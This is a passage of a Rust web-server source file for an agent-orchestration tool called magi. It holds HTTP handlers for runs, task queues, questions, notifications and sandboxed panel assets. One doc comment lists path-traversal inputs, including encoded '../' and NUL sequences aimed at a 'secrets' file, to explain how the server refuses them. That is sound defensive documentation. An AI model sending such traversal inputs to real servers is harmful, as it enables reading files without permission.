2573/// implementations against work that already exists.
2574///
2575/// **202, not 200.** A resume runs agents for minutes; holding the connection
2576/// is the mistake `POST /api/talks/{id}/say` already made and had fixed. The
2577/// phone learns the outcome from the change stream.
2578///
2579/// Refused when the loop is running at all, not merely when it is on this run.
2580/// The scarce resource is the agent CLIs' quota, and a tap that quietly
2581/// started a second graph on top of whatever the loop is already driving —
2582/// one run by default, or as many as `Config::daemon.max_concurrent_runs`
2583/// allows — would spend that quota twice over for no extra throughput.
2584async fn run_resume(
2585    State(ui): State<Arc<Ui>>,
2586    Path(id): Path<String>,
2587) -> ApiResult<(StatusCode, Json<RunSummary>)> {
2588    let (id, state) = {
2589        let ui = Arc::clone(&ui);
2590        blocking(move || {
2591            let id = resolve_run(&ui.runs, &id)?;
2592            let state = read_run(&ui.runs, &id)?;
2593            Ok((id, state))
2594        })
2595        .await?
2596    };
2597    if !state.status.resumable() {
2598        return Err(ApiError::conflict(format!(
2599            "run {} is `{}`, and only a stalled or blocked run can be resumed",
2600            state.short(),
2601            status_word(state.status)
2602        )));
2603    }
2604    // Refused whenever the loop is running anything at all, not merely when
2605    // it is on this run: a manual resume racing a loop-driven run over the
2606    // same agent quota is the thing this guard exists to prevent, whether
2607    // the loop's own concurrency is one run or several.
2608    if let Some(work) = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
2609        .into_iter()
2610        .next()
2611    {
2612        return Err(ApiError::conflict(format!(
2613            "the loop is running run {} right now; stop it first, or wait for \
2614             it to finish, before resuming a run by hand.",
2615            crate::run::short_of(&work.run)
2616        )));
2617    }
2618    let _resume = ui.begin_resume(&id)?;
2619
2620    // The same shape the list route returns, so the phone updates the card it
2621    // already has rather than learning a second schema for one button.
2622    let queued = RunSummary::of(
2623        &state,
2624        !ui.questions.open_for(&id).is_empty(),
2625        state.liveness(false),
2626    );
2627    let run = id.clone();
2628    tokio::spawn(async move {
2629        let _resume = _resume;
2630        match crate::graph::Runner::resume(&run) {
2631            Ok(mut runner) => {
2632                if let Err(e) = runner.execute().await {
2633                    tracing::warn!("resume of run {run} stopped: {e:#}");
2634                }
2635            }
2636            // The run's own record is what the phone reads; this line is for
2637            // the operator's terminal.
2638            Err(e) => tracing::warn!("run {run} could not be resumed: {e:#}"),
2639        }
2640    });
2641    Ok((StatusCode::ACCEPTED, Json(queued)))
2642}
2643
2644async fn run_report(
2645    State(ui): State<Arc<Ui>>,
2646    Path(id): Path<String>,
2647) -> ApiResult<impl IntoResponse> {
2648    let text = blocking(move || {
2649        let id = resolve_run(&ui.runs, &id)?;
2650        // Colour is off for the whole process, set once in `serve`. Rendering
2651        // is CPU work over the full state, which is the other reason this is
2652        // not on the executor.
2653        let state = read_run(&ui.runs, &id)?;
2654        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2655        let live = state.liveness(daemon_claims);
2656        Ok(format!(
2657            "{}{}",
2658            report::run(&state),
2659            report::active_seats(&state, live)
2660        ))
2661    })
2662    .await?;
2663    Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
2664}
2665
2666/// A task as the UI sees it.
2667///
2668/// The whole task, plus the two things the client would otherwise have to
2669/// reimplement: the human-readable source and the status string. Nothing is
2670/// removed - the phone shows `last_error` and the run history verbatim.
2671#[derive(Debug, Serialize)]
2672struct TaskView {
2673    #[serde(flatten)]
2674    task: Task,
2675    source_label: String,
2676    status_str: &'static str,
2677    /// The instruction, parsed as markdown, for the Queue card's "Full
2678    /// instruction" panel. `task.instruction` is unchanged and still carries
2679    /// the raw text.
2680    instruction_md: Vec<md::Node>,
2681    /// For a blocked task, what it waits on with each dependency's state, e.g.
2682    /// `4135 (blocked → 9db7 held)`. Built server-side so the client never
2683    /// recurses; empty for every other status.
2684    waits_on: Vec<String>,
2685    /// Short ids of the held (or cyclic) tasks a blocked task is frozen
2686    /// behind - non-empty means nothing in the loop will ever run it.
2687    stuck_roots: Vec<String>,
2688}
2689
2690impl From<Task> for TaskView {
2691    fn from(task: Task) -> Self {
2692        Self {
2693            source_label: task.source.label(),
2694            status_str: task.status.as_str(),
2695            instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
2696            waits_on: Vec::new(),
2697            stuck_roots: Vec::new(),
2698            task,
2699        }
2700    }
2701}
2702
2703impl TaskView {
2704    fn with_inventory(task: Task, inv: &crate::blockers::Inventory) -> Self {
2705        let waits_on = inv.waits_on(&task);
2706        let stuck_roots = inv
2707            .stuck_roots(&task)
2708            .iter()
2709            .map(|r| r.rsplit('-').next().unwrap_or(r).to_owned())
2710            .collect();
2711        Self {
2712            waits_on,
2713            stuck_roots,
2714            ..Self::from(task)
2715        }
2716    }
2717}
2718
2719/// `?refresh=1` forces a re-scan even inside the TTL. Any other value, or
2720/// its absence, leaves the cache to decide.
2721#[derive(Debug, Default, Deserialize)]
2722#[serde(default)]
2723struct ReposQuery {
2724    refresh: u8,
2725}
2726
2727/// `GET /api/repos` - local checkouts found under `[repos] roots`, the same
2728/// listing `magi repos` prints at a terminal.
2729///
2730/// Reads `[repos] roots` and `[repos] scan_ttl` discovered against `ui.repo`
2731/// so an edit to `magi.toml` takes effect without a restart, the same
2732/// reasoning [`config_for`] documents for the talk routes.
2733async fn repos_list(
2734    State(ui): State<Arc<Ui>>,
2735    Query(q): Query<ReposQuery>,
2736) -> ApiResult<Json<Vec<repos::Repo>>> {
2737    let refresh = q.refresh != 0;
2738    blocking(move || {
2739        let (cfg, _) = Config::discover(&ui.repo, None)?;
2740        Ok(Json(ui.repos_cache.list(
2741            &cfg.repos.roots,
2742            Duration::from_secs(cfg.repos.scan_ttl),
2743            refresh,
2744        )))
2745    })
2746    .await
2747}
2748
2749async fn queue_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<TaskView>>> {
2750    blocking(move || {
2751        let tasks = ui.queue.list();
2752        let inv = crate::blockers::Inventory::new(tasks.clone(), &ui.questions.list());
2753        Ok(Json(
2754            tasks
2755                .into_iter()
2756                .map(|t| TaskView::with_inventory(t, &inv))
2757                .collect(),
2758        ))
2759    })
2760    .await
2761}
2762
2763/// The body of `POST /api/queue/{id}/hold`, sent empty when the operator
2764/// gives no reason - which must keep working, since not every hold has one.
2765#[derive(Debug, Default, Deserialize)]
2766#[serde(default, deny_unknown_fields)]
2767struct HoldBody {
2768    reason: Option<String>,
2769}
2770
2771async fn queue_hold(
2772    State(ui): State<Arc<Ui>>,
2773    Path(id): Path<String>,
2774    body: std::result::Result<Json<HoldBody>, JsonRejection>,
2775) -> ApiResult<Json<TaskView>> {
2776    // An absent body is the ordinary case - most holds are unexplained, and
2777    // that has to stay a one-tap action rather than a form. A body that is
2778    // present and malformed is still a bad request.
2779    let body = match body {
2780        Ok(Json(body)) => body,
2781        Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
2782        Err(e) => return Err(ApiError::bad_request(e.body_text())),
2783    };
2784    let reason = body.reason.filter(|r| !r.trim().is_empty());
2785    mutate(ui, id, move |t| {
2786        t.hold_manual(reason.clone());
2787        Ok(())
2788    })
2789    .await
2790}
2791
2792async fn queue_release(
2793    State(ui): State<Arc<Ui>>,
2794    Path(id): Path<String>,
2795) -> ApiResult<Json<TaskView>> {
2796    mutate(ui, id, |t| {
2797        t.release();
2798        Ok(())
2799    })
2800    .await
2801}
2802
2803/// The body of `POST /api/queue/{id}/priority`.
2804#[derive(Debug, Deserialize)]
2805#[serde(deny_unknown_fields)]
2806struct PriorityBody {
2807    priority: i32,
2808}
2809
2810/// `POST /api/queue/{id}/priority` - the up/down control on the Queue card.
2811///
2812/// [`Task::set_priority`] is the one place the "not while running" rule is
2813/// stated; this route only carries the body to it and lets its `Err` become
2814/// the 4xx the card shows.
2815async fn queue_priority(
2816    State(ui): State<Arc<Ui>>,
2817    Path(id): Path<String>,
2818    body: std::result::Result<Json<PriorityBody>, JsonRejection>,
2819) -> ApiResult<Json<TaskView>> {
2820    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2821    mutate(ui, id, move |t| t.set_priority(body.priority)).await
2822}
2823
2824/// The body of `POST /api/queue/{id}/edit`.
2825#[derive(Debug, Deserialize)]
2826#[serde(deny_unknown_fields)]
2827struct EditBody {
2828    title: String,
2829    instruction: String,
2830}
2831
2832/// `POST /api/queue/{id}/edit` - the full-text replacement the phone's edit
2833/// sheet sends. [`Task::edit`] refuses anything but `queued` and `held`, and
2834/// that refusal's message is what the sheet shows back.
2835async fn queue_edit(
2836    State(ui): State<Arc<Ui>>,
2837    Path(id): Path<String>,
2838    body: std::result::Result<Json<EditBody>, JsonRejection>,
2839) -> ApiResult<Json<TaskView>> {
2840    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2841    mutate(ui, id, move |t| {
2842        t.edit(body.title.clone(), body.instruction.clone())
2843    })
2844    .await
2845}
2846
2847/// `POST /api/queue/{id}/done` - close a task as finished without deleting
2848/// it, so the phone's other way to clear a task from the backlog does not
2849/// have to cost the run history, the attribution, and `created_at` the way
2850/// [`queue_delete`] does. Behaves exactly like `magi task done`: any status
2851/// can be marked done by hand, because this is for the run the loop never
2852/// saw land - a merge done by hand, or a gate that misreported - and that can
2853/// happen from any status the task was left in.
2854async fn queue_done(
2855    State(ui): State<Arc<Ui>>,
2856    Path(id): Path<String>,
2857) -> ApiResult<Json<TaskView>> {
2858    mutate(ui, id, |t| {
2859        t.succeed();
2860        Ok(())
2861    })
2862    .await
2863}
2864
2865/// `DELETE /api/queue/{id}`.
2866///
2867/// Remove a task from the backlog. Refused only while a live daemon's heartbeat
2868/// names this task: a `running` status or an orphaned `.lock` left behind by a
2869/// killed daemon is a leftover, and treating either as authority made the
2870/// task undeletable from the phone for good. The associated runs, if any, are
2871/// kept: a run is self-contained history and not an appendage of the task.
2872async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
2873    blocking(move || {
2874        let id = resolve_task(&ui.queue, &id)?;
2875        let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
2876        ui.queue
2877            .remove(&id, in_flight, &ui.questions)
2878            .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
2879        Ok(StatusCode::NO_CONTENT)
2880    })
2881    .await
2882}
2883
2884/// Read a task, change it, write it back, under the queue's own lock.
2885///
2886/// Taking the same claim a daemon takes is what makes hold, release,
2887/// priority, edit, and done safe to press while magi is running: without it
2888/// the daemon's next save would land on top of the operator's change and
2889/// undo it. `change` can refuse - [`Task::set_priority`] and [`Task::edit`]
2890/// both do, for a running task - and that refusal becomes the 4xx the card
2891/// shows, same as any other domain rule.
2892async fn mutate(
2893    ui: Arc<Ui>,
2894    id: String,
2895    change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
2896) -> ApiResult<Json<TaskView>> {
2897    blocking(move || {
2898        let id = resolve_task(&ui.queue, &id)?;
2899        // `claim` fails when the lock file already exists, which is the
2900        // conflict the UI must report: the daemon owns that task's file for
2901        // as long as it is running it, and our write would be lost under its
2902        // next save. The message names the lock either way.
2903        let _claim = ui.queue.claim(&id).map_err(|e| {
2904            ApiError::conflict(format!(
2905                "{e:#} - a daemon is running this task, so it cannot be \
2906                 changed from here yet"
2907            ))
2908        })?;
2909        let mut task = ui.queue.get(&id)?;
2910        change(&mut task).map_err(ApiError::bad_request_from)?;
2911        ui.queue.put(&mut task)?;
2912        Ok(Json(TaskView::from(task)))
2913    })
2914    .await
2915}
2916
2917/// The change stream: one revision number per store, on connect and whenever
2918/// any of them moves.
2919///
2920/// The poll runs in one spawned task per client, which is affordable because
2921/// the work is a directory scan and a `stat` per file. It stops as soon as the
2922/// receiver is gone, so a phone that walks out of range costs nothing after
2923/// its next tick - there is no session and no cleanup to forget.
2924async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
2925    let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
2926    tokio::spawn(async move {
2927        let mut ticker = tokio::time::interval(POLL);
2928        let mut last: Option<(u64, u64, u64, u64, u64, u64)> = None;
2929        loop {
2930            // The first tick completes immediately, which is what makes the
2931            // stream announce the current revisions on connect.
2932            ticker.tick().await;
2933            let state = Arc::clone(&ui);
2934            let revisions = tokio::task::spawn_blocking(move || {
2935                (
2936                    state.queue.revision(),
2937                    runs_revision(&state.runs),
2938                    state.questions.revision(),
2939                    state.talks.revision(),
2940                    state.notices.revision(),
2941                    // The loop's counter is in-process state rather than a
2942                    // file, so nothing the three stats above look at would
2943                    // tell this phone that another one started the loop.
2944                    state.lock_loop().rev,
2945                )
2946            })
2947            .await;
2948            let Ok(revisions) = revisions else { break };
2949            if last == Some(revisions) {
2950                continue;
2951            }
2952            last = Some(revisions);
2953            let payload = serde_json::json!({
2954                "queue_rev": revisions.0,
2955                "runs_rev": revisions.1,
2956                "questions_rev": revisions.2,
2957                "talks_rev": revisions.3,
2958                "notifications_rev": revisions.4,
2959                "loop_rev": revisions.5,
2960            });
2961            // Serializing five integers cannot fail; giving up beats looping.
2962            let Ok(event) = Event::default().event("change").json_data(payload) else {
2963                break;
2964            };
2965            if tx.send(event).await.is_err() {
2966                break;
2967            }
2968        }
2969    });
2970    Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
2971        .keep_alive(KeepAlive::new().interval(KEEPALIVE))
2972}
2973
2974/// Change detection token for recorded runs under `runs`.
2975///
2976/// Combines the id and `run.json` modification time of each run, so adding,
2977/// updating, or deleting any run — even an older one — moves the revision and
2978/// notifies connected clients via the change stream. Returns 0 when no runs
2979/// exist.
2980fn runs_revision(runs: &FsPath) -> u64 {
2981    use std::hash::{Hash as _, Hasher as _};
2982
2983    let mut entries: Vec<(String, u64)> = std::fs::read_dir(runs)
2984        .into_iter()
2985        .flatten()
2986        .flatten()
2987        .filter_map(|e| {
2988            let path = e.path().join("run.json");
2989            let mtime = path
2990                .metadata()
2991                .ok()?
2992                .modified()
2993                .ok()?
2994                .duration_since(std::time::UNIX_EPOCH)
2995                .ok()?
2996                .as_millis() as u64;
2997            let id = e.file_name().to_string_lossy().into_owned();
2998            Some((id, mtime))
2999        })
3000        .collect();
3001
3002    if entries.is_empty() {
3003        return 0;
3004    }
3005
3006    entries.sort_unstable();
3007    let mut hasher = std::hash::DefaultHasher::new();
3008    for (id, mtime) in &entries {
3009        id.hash(&mut hasher);
3010        mtime.hash(&mut hasher);
3011    }
3012    let h = hasher.finish();
3013    if h == 0 { 1 } else { h }
3014}
3015
3016/// Run ids under `runs`, newest first.
3017///
3018/// Rooted at an explicit directory rather than calling [`run::list_ids`],
3019/// which reads the process-global home: the server has to be drivable against
3020/// a temp directory for any of this to be testable.
3021fn run_ids(runs: &FsPath) -> Vec<String> {
3022    let mut ids: Vec<String> = std::fs::read_dir(runs)
3023        .into_iter()
3024        .flatten()
3025        .flatten()
3026        .filter(|e| e.path().join("run.json").is_file())
3027        .map(|e| e.file_name().to_string_lossy().into_owned())
3028        .collect();
3029    // Ids start with a sortable timestamp.
3030    ids.sort_unstable_by(|a, b| b.cmp(a));
3031    ids
3032}
3033
3034/// Read one run's state from an explicit runs root.
3035fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
3036    let path = runs.join(id).join("run.json");
3037    let body =
3038        std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
3039    let state: RunState =
3040        serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
3041    if state.schema != run::SCHEMA {
3042        anyhow::bail!(
3043            "run {} was written by a different magi (schema {}, this build speaks {})",
3044            state.id,
3045            state.schema,
3046            run::SCHEMA
3047        );
3048    }
3049    Ok(state)
3050}
3051
3052/// Runs on disk under `runs` whose state this build cannot parse - almost
3053/// always a schema bump, occasionally a run killed mid-write.
3054///
3055/// Exposed so every surface that reports on runs shares one count instead of
3056/// each re-deriving it: `/api/health` reports it as `runs_unreadable`, and
3057/// `magi doctor` calls this directly rather than guessing at the same number
3058/// a second way.
3059#[must_use]
3060pub fn runs_unreadable(runs: &FsPath) -> usize {
3061    run_ids(runs)
3062        .into_iter()
3063        .filter(|id| read_run(runs, id).is_err())
3064        .count()
3065}
3066
3067/// Expand an id or short id to exactly one run id.
3068fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
3069    if runs.join(id).join("run.json").is_file() {
3070        return Ok(id.to_owned());
3071    }
3072    pick(run_ids(runs), id, "run")
3073}
3074
3075/// Expand an id or short id to exactly one task id.
3076fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
3077    if queue.path_of(id).is_file() {
3078        return Ok(id.to_owned());
3079    }
3080    pick(queue.list().into_iter().map(|t| t.id).collect(), id, "task")
3081}
3082
3083/// A question as the phone reads it.
3084///
3085/// `detail`, the reasoning an agent wrote, is markdown; `detail_md` is that
3086/// text already parsed into a node tree so the client never runs its own
3087/// markdown reader over agent-authored prose. A relative image path in it
3088/// resolves against this question's own panel asset route, which is the one
3089/// place [`md::ImageBase::QuestionPanel`] is used - the panel iframe is a
3090/// separate, sandboxed document, but `detail` is rendered inline in the
3091/// operator's own page, so an image reference in it may only ever point at
3092/// files magi itself already serves for this question.
3093#[derive(Debug, Serialize)]
3094struct QuestionView {
3095    #[serde(flatten)]
3096    question: Question,
3097    detail_md: Vec<md::Node>,
3098    /// Is the ball in the agent's court right now?
3099    ///
3100    /// [`QuestionStatus`] stays `Open` for the whole of a round trip - see
3101    /// [`Question::say`] - so this is the one field that tells the phone to
3102    /// disable the answer controls and show "waiting for the agent" instead of
3103    /// a card the owner can act on. Computed rather than stored on
3104    /// [`Question`] itself, on the same reasoning as `waiting` on
3105    /// [`RunSummary`]: it is a read of `thread`'s own last entry, and keeping
3106    /// it here means the client never has to re-derive that rule.
3107    waiting_on_agent: bool,
3108}
3109
3110impl From<Question> for QuestionView {
3111    fn from(question: Question) -> Self {
3112        let base = md::ImageBase::QuestionPanel {
3113            id: question.id.clone(),
3114        };
3115        Self {
3116            detail_md: md::to_nodes(&question.detail, &base),
3117            waiting_on_agent: question.waiting_on_agent(),
3118            question,
3119        }
3120    }
3121}
3122
3123/// `GET /api/questions`.
3124///
3125/// Everything, not just the open ones: an answered question is the record of a
3126/// decision, and the phone is where the operator goes back to check what they
3127/// told an agent at 3am. `ask::Questions::list` already ranks open first.
3128async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
3129    blocking(move || {
3130        Ok(Json(
3131            ui.questions
3132                .list()
3133                .into_iter()
3134                .map(QuestionView::from)
3135                .collect(),
3136        ))
3137    })
3138    .await
3139}
3140
3141/// `GET /api/notifications`: not dismissed, newest first, with the unread
3142/// count so the badge and the list cannot disagree.
3143async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
3144    blocking(move || {
3145        let items = ui.notices.list();
3146        let unread = items.iter().filter(|n| n.unread()).count();
3147        Ok(Json(
3148            serde_json::json!({ "unread": unread, "items": items }),
3149        ))
3150    })
3151    .await
3152}
3153
3154fn notice_error(e: anyhow::Error) -> ApiError {
3155    // An unknown or malformed id and a vanished file are the same answer to
3156    // the phone: that notification is gone.
3157    ApiError::not_found(format!("{e:#}"))
3158}
3159
3160/// `POST /api/notifications/{id}/read`.
3161async fn notification_read(
3162    State(ui): State<Arc<Ui>>,
3163    Path(id): Path<String>,
3164) -> ApiResult<Json<Notice>> {
3165    blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
3166}
3167
3168/// `POST /api/notifications/{id}/dismiss`.
3169async fn notification_dismiss(
3170    State(ui): State<Arc<Ui>>,
3171    Path(id): Path<String>,
3172) -> ApiResult<Json<Notice>> {
3173    blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
3174}
3175
3176/// `POST /api/notifications/read-all`.
3177async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
3178    blocking(move || {
3179        let changed = ui.notices.mark_all_read()?;
3180        Ok(Json(serde_json::json!({ "marked": changed })))
3181    })
3182    .await
3183}
3184
3185/// The body of `POST /api/questions/{id}/answer`.
3186///
3187/// Exactly one of the two fields, mirroring `ask::Answer`. Both or neither is
3188/// a bad request rather than a guess: an answer magi invented is worse than a
3189/// question left open.
3190#[derive(Debug, Default, Deserialize)]
3191#[serde(default, deny_unknown_fields)]
3192struct NewAnswer {
3193    choice: Option<String>,
3194    text: Option<String>,
3195}
3196
3197async fn question_answer(
3198    State(ui): State<Arc<Ui>>,
3199    Path(id): Path<String>,
3200    body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
3201) -> ApiResult<Json<QuestionView>> {
3202    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3203    let answer = match (body.choice, body.text) {
3204        (Some(c), None) => Answer::Choice(c),
3205        (None, Some(t)) => Answer::Text(t),
3206        (Some(_), Some(_)) => {
3207            return Err(ApiError::bad_request(
3208                "send either `choice` or `text`, not both",
3209            ));
3210        }
3211        (None, None) => {
3212            return Err(ApiError::bad_request("send a `choice` or a `text`"));
3213        }
3214    };
3215
3216    blocking(move || {
3217        let id = resolve_question(&ui.questions, &id)?;
3218        let mut q = ui
3219            .questions
3220            .get(&id)
3221            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
3222        if !q.status.open() {
3223            // Answered from the terminal, or by another phone, in between the
3224            // list and the tap. The UI shows the recorded answer rather than an
3225            // error, so it needs the record, not just the status.
3226            return Err(ApiError::conflict(format!(
3227                "question {} is already {}",
3228                q.short(),
3229                q.status.as_str()
3230            )));
3231        }
3232        // `Question::answer` owns the rules - an unoffered choice, free text on
3233        // a multiple-choice question, an empty reply - so the route does not
3234        // restate them and cannot drift from the CLI's behaviour.
3235        q.answer(answer).map_err(ApiError::bad_request_from)?;
3236        ui.questions.put(&mut q)?;
3237        Ok(Json(QuestionView::from(q)))
3238    })
3239    .await
3240}
3241
3242/// The body of `POST /api/questions/{id}/say`.
3243#[derive(Debug, Deserialize)]
3244#[serde(deny_unknown_fields)]
3245struct NewSay {
3246    body: String,
3247}
3248
3249/// `POST /api/questions/{id}/say` - the owner talks back without deciding.
3250///
3251/// Synchronous, unlike `POST /api/talks/{id}/say`: that route spawns an agent
3252/// CLI and waits on it, this one only appends a [`ask::Turn`] and writes the
3253/// file, so there is no turn to serialize against and no
3254/// [`Ui::begin_talk_turn`] guard to take. The agent waiting on this question
3255/// is a *different* process - the run parked behind `magi ask` - and picks
3256/// the reply up on its own poll of the very same file, same as an answer
3257/// does.
3258async fn question_say(
3259    State(ui): State<Arc<Ui>>,
3260    Path(id): Path<String>,
3261    body: std::result::Result<Json<NewSay>, JsonRejection>,
3262) -> ApiResult<Json<QuestionView>> {
3263    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3264    blocking(move || {
3265        let id = resolve_question(&ui.questions, &id)?;
3266        let mut q = ui
3267            .questions
3268            .get(&id)
3269            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
3270        if !q.status.open() {
3271            // Same granularity as `question_answer`: answered or abandoned in
3272            // between the list and the tap is not this route's error to
3273            // explain any differently.
3274            return Err(ApiError::conflict(format!(
3275                "question {} is already {}",
3276                q.short(),
3277                q.status.as_str()
3278            )));
3279        }
3280        // `Question::say` owns the one rule that matters here - an empty
3281        // message tells the agent nothing - so the route does not restate it.
3282        q.say(body.body).map_err(ApiError::bad_request_from)?;
3283        ui.questions.put(&mut q)?;
3284        Ok(Json(QuestionView::from(q)))
3285    })
3286    .await
3287}
3288
3289/// Expand an id or short id to exactly one question id.
3290fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
3291    if store.path_of(id).is_file() {
3292        return Ok(id.to_owned());
3293    }
3294    pick(
3295        store.list().into_iter().map(|q| q.id).collect(),
3296        id,
3297        "question",
3298    )
3299}
3300
3301/// `GET /api/questions/{id}/panel`.
3302///
3303/// The panel an agent wrote for this question, as `text/html` under
3304/// [`PANEL_CSP`], for the front end to mount in a token-less sandboxed iframe.
3305/// A question without one is a 404 rather than an empty page: the client
3306/// preflights this route with `HEAD` and must be able to tell "no panel" from
3307/// "a panel that rendered blank", and a sandboxed frame is opaque to the
3308/// parent document so it cannot tell the difference by looking.
3309///
3310/// The body is whatever the agent wrote, byte for byte. Nothing here rewrites,
3311/// sanitises or minifies it - a sanitiser is a list of things someone thought
3312/// of, and the sandbox plus the CSP is a list of things that are allowed, which
3313/// is the direction that stays safe when an agent writes markup nobody
3314/// predicted.
3315async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
3316    blocking(move || {
3317        let id = resolve_question(&ui.questions, &id)?;
3318        let Some(html) = ui.questions.panel_html(&id) else {
3319            return Err(ApiError::not_found(format!("question {id} has no panel")));
3320        };
3321        Ok(panel_response(
3322            "text/html; charset=utf-8",
3323            false,
3324            html.into_bytes(),
3325        ))
3326    })
3327    .await
3328}
3329
3330/// `GET /api/questions/{id}/asset/{name}`.
3331///
3332/// One file from the question's own panel directory, so a panel can show a
3333/// diff as an SVG or a screenshot as a PNG without the CSP's `img-src 'self'`
3334/// having to allow anything off this machine.
3335///
3336/// This is the only route in the server where a client names a file, so it is
3337/// the only one with a traversal surface, and the name is checked by
3338/// [`ask::valid_asset_name`] before a path is built from it. Which layer stops
3339/// what is worth being explicit about, because the answer is not "all of it in
3340/// one place":
3341///
3342/// * `asset/../../secrets` never reaches this handler at all. axum matches on
3343///   the raw request path and `{name}` spans exactly one segment, so a real
3344///   slash makes the request too long for the route and the router answers 404.
3345/// * `asset/%2e%2e%2fsecrets` and `asset/..%5csecrets` do reach it: axum
3346///   percent-decodes path parameters, so `name` arrives as `../secrets` and
3347///   `..\secrets` respectively, which look like plain filenames to the router.
3348///   The validator refuses them here - both for the literal `..` and because
3349///   `/` and `\` are not in the permitted character set - and answers 400.
3350/// * A name carrying a NUL (`%00`) decodes to a string Rust is happy with but
3351///   the platform's path API is not, and it is refused here for the same
3352///   reason: NUL is not a permitted character.
3353/// * [`Questions::panel_asset`] validates again on read, so the check is not
3354///   load-bearing in only one place. This route's own check exists so the
3355///   failure is a 400 that says which name was wrong, rather than a store error
3356///   the operator has to interpret.
3357async fn question_asset(
3358    State(ui): State<Arc<Ui>>,
3359    Path((id, name)): Path<(String, String)>,
3360) -> ApiResult<Response> {
3361    // Before any filesystem work and before any path is built: a name this
3362    // server will not serve should not become a `PathBuf` at all.
3363    if !crate::ask::valid_asset_name(&name) {
3364        return Err(ApiError::bad_request(format!(
3365            "`{name}` is not a usable asset name"
3366        )));
3367    }
3368    blocking(move || {
3369        let id = resolve_question(&ui.questions, &id)?;
3370        let asset = ui
3371            .questions
3372            .panel_asset(&id, &name)
3373            .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
3374        let Some(bytes) = asset else {
3375            return Err(ApiError::not_found(format!(
3376                "question {id} has no asset `{name}`"
3377            )));
3378        };
3379        Ok(panel_response(
3380            asset_content_type(&name),
3381            is_svg(&name),
3382            bytes,
3383        ))
3384    })
3385    .await
3386}
3387
3388/// Content type for a panel asset, from a closed whitelist.
3389///
3390/// A whitelist with an `application/octet-stream` fallback rather than a
3391/// guess, because the one answer that must never come out of here is
3392/// `text/html`. An agent that writes `notes.html` into its panel directory and
3393/// links it would otherwise get its own markup rendered at the top level of the
3394/// operator's browser - outside the sandboxed frame, outside [`PANEL_CSP`], on
3395/// magi's origin - which is precisely the thing the panel design exists to
3396/// prevent. Same reasoning for `.js` and `.json`: unlisted means downloaded.
3397///
3398/// `nosniff` accompanies this on every response, so a browser cannot decide it
3399/// knows better than the type we sent.
3400fn asset_content_type(name: &str) -> &'static str {
3401    match extension(name).as_deref() {
3402        Some("png") => "image/png",
3403        Some("jpg" | "jpeg") => "image/jpeg",
3404        Some("gif") => "image/gif",
3405        Some("webp") => "image/webp",
3406        Some("svg") => "image/svg+xml",
3407        Some("css") => "text/css; charset=utf-8",
3408        Some("txt") => "text/plain; charset=utf-8",
3409        _ => "application/octet-stream",
3410    }
3411}
3412
3413/// Is this an SVG, and therefore a file that must never be opened at the top
3414/// level?
3415fn is_svg(name: &str) -> bool {
3416    extension(name).as_deref() == Some("svg")
3417}
3418
3419/// Lowercased extension, or `None` for a name without one.
3420fn extension(name: &str) -> Option<String> {
3421    name.rsplit_once('.')
3422        .map(|(_, ext)| ext.to_ascii_lowercase())
3423}
3424
3425/// Every panel response, with the four headers that make it safe and, for an
3426/// SVG, a fifth.
3427///
3428/// One function rather than a header list per handler, because a panel route
3429/// that forgets [`PANEL_CSP`] is not a cosmetic bug: it is the whole security
3430/// model gone, silently, on one of two routes. Adding a third panel route later
3431/// means calling this, and there is nowhere else to build a panel response.
3432///
3433/// `download` is set for SVG only. An SVG is XML that may carry `<script>`, and
3434/// as an `<img src>` inside the panel that script cannot run - but the asset
3435/// URL is also a plain URL an operator can be talked into opening in a tab,
3436/// where it is a document on magi's own origin. `Content-Disposition:
3437/// attachment` makes the browser download it instead of rendering it, which
3438/// closes that door without taking away the ability to draw a diff. Raster
3439/// images have no such execution surface and are left inline, so tapping a
3440/// screenshot still shows it.
3441fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
3442    let mut res = (
3443        [
3444            (header::CONTENT_TYPE, content_type),
3445            (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
3446            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
3447            (header::REFERRER_POLICY, "no-referrer"),
3448        ],
3449        body,
3450    )
3451        .into_response();
3452    if download {
3453        res.headers_mut().insert(
3454            header::CONTENT_DISPOSITION,
3455            HeaderValue::from_static("attachment"),
3456        );
3457    }
3458    res
3459}
3460
